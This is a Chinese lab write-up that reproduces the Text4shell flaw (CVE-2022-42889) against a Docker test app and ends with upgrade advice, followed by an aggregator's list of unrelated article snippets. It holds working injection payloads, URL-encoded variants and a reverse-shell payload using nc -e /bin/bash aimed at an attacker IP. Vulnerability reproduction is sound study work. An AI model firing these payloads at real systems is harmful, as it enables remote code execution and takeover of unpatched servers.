[漏洞复现]Text4shell(CVE-2022-42889)

news2024/11/26 4:28:27

文章目录

  • 简介
  • 影响版本
  • 环境搭建
  • 漏洞复现
  • 漏洞修复
  • 参考

简介

Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10月13日,Apache发布安全公告,修复了Apache Commons Text中的一个远程代码执行漏洞(CVE-2022-42889)。
Apache Commons Text版本1.5到1.9中,该问题的根源在于在DNS、脚本和 URL 查找期间执行的字符串替换方式可能导致在传递不受信任的输入时在易受攻击的系统上执行任意代码。
成功利用该漏洞可以使威胁参与者仅通过特制的有效负载打开与易受攻击的应用程序的反向 shell 连接,从而有效地为后续攻击打开大门。

影响版本

1.5 <= Apache Commons Text <= 1.9

环境搭建

GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

  1. 需要JDK版本11.0以上,跳过
yum update && yum install openjdk-11-jdk
  1. 安装docker
yum install docker.io containerd runc
  1. 新建文件夹安装mvn
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
  1. 从github拉取PoC
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
  1. 进入PoC文件夹后使用mvn clean install
../apache-maven-3.6.3/bin/mvn clean install

在这里插入图片描述

  1. docker拉取镜像
docker build --tag=text4shell .
  1. 启动docker测试app
docker run -p 80:8080 text4shell

在这里插入图片描述

漏洞复现

payload

search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

还可以尝试,我这个靶机好像不支持
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

在这里插入图片描述

获取容器id

docker container ls

进入容器查看我们刚刚新建的文件foo

docker exec -it <CONTAINER_ID> bash

在这里插入图片描述

使用nc监听

nc -lvnp 4444

payload

search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20攻击机ip%20端口%20-e%20%2Fbin%2Fbash%27%29%7D

url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”…

漏洞修复

1.升级到 Apache Commons Text 1.10.0(1.10官方默认移除了script)

参考

1.https://blog.csdn.net/qq_44281295/article/details/127383312
2.https://baijiahao.baidu.com/s?id=1747458179022945119&wfr=spider&for=pc
3.https://mp.weixin.qq.com/s/2q5SL1CJAHVPMbKP2Pg_AA

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42723.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GJB 5000B简介

“软件定义装备”是武器装备信息化职能化发展的比如趋势,J用软件在信息化战争和J事智能化进程中起着基础性决定性作用。 1、GJB 5000由来 1991年 推出CMM 目的:用来衡量组织软件综合能力 2000年,SEI发布CMMIV1.0(Capability Maturity Model Integration)能力成熟度模型集…

「低碳」不是特步的解药

&#xff08;图片来源于网络&#xff0c;侵删&#xff09; 文|螳螂观察 作者|叶小安 一双跑鞋就能减少碳排放424克&#xff0c;相当于回收16个饮料瓶。 这样一双低碳跑鞋&#xff0c;你会购买吗&#xff1f; 今年进博会上&#xff0c;特步带来了首款Mass Balance低碳环保概…

资本赋能,跨境电商Starday逐鹿年终场

国内巨头很早就看到跨境电商行业的发展前景了&#xff0c;最有代表性的就是阿里巴巴旗下的全球速卖&#xff0c;其在2012年就开始布局并开展跨境电商业务了&#xff0c;这些年来&#xff0c;诸如字节跳动、京东、拼多多等国内电商巨头纷纷跟上阿里巴巴步伐&#xff0c;进军跨境…

Scrapy基本概念——Scrapy shell

Scrapy shell是一个交互式shell&#xff0c;可以在不运行Spider的情况下&#xff0c;测试和调试自己的数据提取代码。事实上&#xff0c;Scrapy shell可以测试任何类型的代码&#xff0c;因为它本就是一个常规的Python shell。 一、Scrapy shell的使用 1、启动Scrapy shell …

【iMessage苹果家庭】共享推软件设备安装创作AppleScript增加了iMessage群应用会得到一个硬件token

推荐内容IMESSGAE相关 作者推荐内容iMessage苹果推软件 *** 点击即可查看作者要求内容信息作者推荐内容1.家庭推内容 *** 点击即可查看作者要求内容信息作者推荐内容2.相册推 *** 点击即可查看作者要求内容信息作者推荐内容3.日历推 *** 点击即可查看作者要求内容信息作者推荐…

计算机图形学-算法总结

文章目录计算机图形学-算法总结一、直线转换1、DDA算法2、中点法3、Bresenhan算法二、圆1、中点Bresenham画圆算法2、椭圆的中点Bresenham算法计算机图形学-算法总结 一、直线转换 1、DDA算法 Δyyn−y0Δxxn−x0ε1max(∣Δx∣,∣Δy∣)\Delta yy_n-y_0 \\ \Delta xx_n-x_0\…

小杨哥陷入打假风波,会变成下一个辛巴吗?

最近&#xff0c;网红疯狂小杨哥频繁登上热搜。最初的起因是他花了1亿元在合肥一家高科技公司购买了5万多平方米的房产&#xff0c;作为他名下公司的全球总部&#xff0c;由此带来了争议。 据了解&#xff0c;该物业总建筑面积为53874.33平方米&#xff0c;包括1个生产综合体、…

一步一步带你深入源码看Spring是如何加载XML配置文件的

Spring 的在实际开发过程中都是以XML 配置文件注解的形式进行使用,那么XML配置文件的读取是Spring中重要的功能, 在Spring中,加载XML配置文件的语句如下: 使用ClassPathXmlApplicationContext类的构造函数加载XML配置文件,代码如下: ClassPathXmlApplicationContext()方法调…

蓝桥杯控制PCF8591

目录 一、AD转换 &#xff08;1&#xff09;PCF8591初始化 &#xff08;2&#xff09;获取PCF8591ADC转换结果 &#xff08;3&#xff09;实例程序​编辑 二、DA转换 &#xff08;1&#xff09;PCF8591初始化 &#xff08;2&#xff09;写入数模转换的值 &#xff08;3&am…

一个快速切换浏览器搜索引擎的小技巧(在地址栏搜索B站、书签等的方法)

一、背景 Chrome谷歌浏览器的地址栏是可以搜索的&#xff0c;我们怎么能临时切换到别的搜索引擎呢&#xff1f;&#xff08;注意不是改地址栏默认的搜索引擎&#xff09; 改搜索引擎&#xff1a;谷歌浏览器默认谷歌搜索引擎&#xff0c;很多人估计都会改成百度。我虽然能用谷歌…

四、nginx负载均衡[轮询]

一、负载均衡 解释&#xff1a;负载均衡分为两部分&#xff08;应用集群和负载均衡器&#xff09;。应用集群&#xff1a;将同一应用部署到多台机器上&#xff0c;组成处理集群&#xff0c;接收负载均衡设备分发的请求&#xff0c;进行处理并返回响应的数据。负载均衡器:将用户…

C语言库函数— qsort () 详解

目录 1. qsort()函数简介 1.1 函数原型 1.2 函数参数 2. 比较函数简介 2. 1 比较函数参数 2.2 比较函数使用 3. qsort()函数使用 3.1 整形数组排序 3.2 字符数组排序 3.3 浮点型数组排序&#xff08;double类型为例&#xff09; 3. 4 字符串数组排序 3.5 结构体…

Spring Security(十八)--OAuth2:实现授权服务器(上)--环境准备以及骨架代码搭建

一、前言 本节大家如果一直从一开始看过来的话&#xff0c;就会巧妙发现我们将之前的实践代码全部连接起来&#xff0c;本节将会使用到之前的短信/验证码登录相关的逻辑代码&#xff0c;如果大家没有看的感兴趣可以回到https://editor.csdn.net/md/?articleId127617691先将这…

【pdf翻译中文】免费自用日语pdf转中文、韩语pdf转中文(也可以转英文)或者其他小语种法语、德语pdf转中文

不是很精确、有点慢&#xff0c;但是也够用&#xff0c;胜在免费free 效果图&#xff1a; 一些对比&#xff1a; 模型来自于&#xff1a; https://huggingface.co/models 文件目录 调用模型的代码&#xff1a; 运行此段代码&#xff0c;执行翻译 一些简单的设置在这里…

【LeetCode每日一题】——557.反转字符串中的单词 III

文章目录一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【解题思路】七【题目提示】八【时间频度】九【代码实现】十【提交结果】一【题目类别】 字符串 二【题目难度】 简单 三【题目编号】 557.反转字符串中的单词 III 四【题目描述】 给…

DPU1.1S—高性能、低功耗4口高速USB2.0HUB控制器芯片

DPU1.1S是一款高性能、低功耗4口高速 USB2.0 HUB 控制器&#xff0c;上行端口兼容高速 480MHz和全速12MHz两种模式&#xff0c;4个下行端口兼容高速480MHz、全速12MHz、低速1.5MHz三种模式。 DPU1.1S采用状态机单事务处理架构&#xff0c;而非单片机架构&#xff0c;多个事务缓…

沃通CA证书支持多所高校招投标文件电子签名

招投标电子化是国家大力推行的战略性工作&#xff0c;为贯彻落实电子招投标工作&#xff0c;各政企单位、高校均启动采购与招投标系统&#xff0c;自行组织的招标、单一来源等采购活动都通过该类系统在线进行。近期&#xff0c;沃通CA证书打通与多所高校采购与招投标系统的应用…

C语言深度解析:函数的形参和实参与传值和传址(多角度分析,让你有一种相见恨晚的感觉!!!!)

目录 一、前言 二、函数的形参和实参 &#x1f351;实参 &#x1f34e;形参 &#x1f347;形参与实参之间的区别 &#x1f350;形参与实参之间的联系&#xff08;重点&#xff01;&#xff01;&#xff01;&#xff01;&#xff09; 三、函数的传值和传址&#xff08;超…

[附源码]计算机毕业设计JAVA网上宠物商店

[附源码]计算机毕业设计JAVA网上宠物商店 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis M…

【html5期末大作业】基于HTML仿QQ音乐官网网站

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…